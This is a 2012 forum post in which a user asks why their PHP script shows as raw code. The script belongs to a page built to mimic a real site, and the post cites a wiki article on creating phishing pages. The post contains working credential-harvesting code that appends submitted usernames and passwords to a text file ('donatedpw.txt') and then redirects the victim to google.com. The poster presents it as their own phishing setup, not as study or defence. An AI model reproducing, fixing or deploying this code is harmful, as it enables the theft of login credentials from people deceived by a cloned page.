whitehat Posted April 11, 2012 Share Posted April 11, 2012 (edited) My HTML webpage seems to work fine -- it looks like the real page that I'm emulating and the forms work -- but when the submit button is clicked instead of sending the data to PHP that saves it as a file and redirects the client (or, ideally, closes the window) my PHP just displays all the code in the browser. Can you help me figure out why? Here's the general format that I'm using: <?php if ($_POST['submit']){ $myFile = "donatedpw.txt"; $fh = fopen($myFile, 'a') or die("can't open file"); $stringData = "username: " . $_POST['username'] . "\n"; fwrite($fh, $stringData); $stringData = "password: " . $_POST['password'] . "\n"; fwrite($fh, $stringData); fclose($fh); } ?> <script>location.href='http://google.com';</script> source: http://thisislegal.com/wiki/Create_a_phishing_page Edited April 11, 2012 by whitehat Quote Link to comment Share on other sites More sharing options...
Recommended Posts
Join the conversation
You can post now and register later. If you have an account, sign in now to post with your account.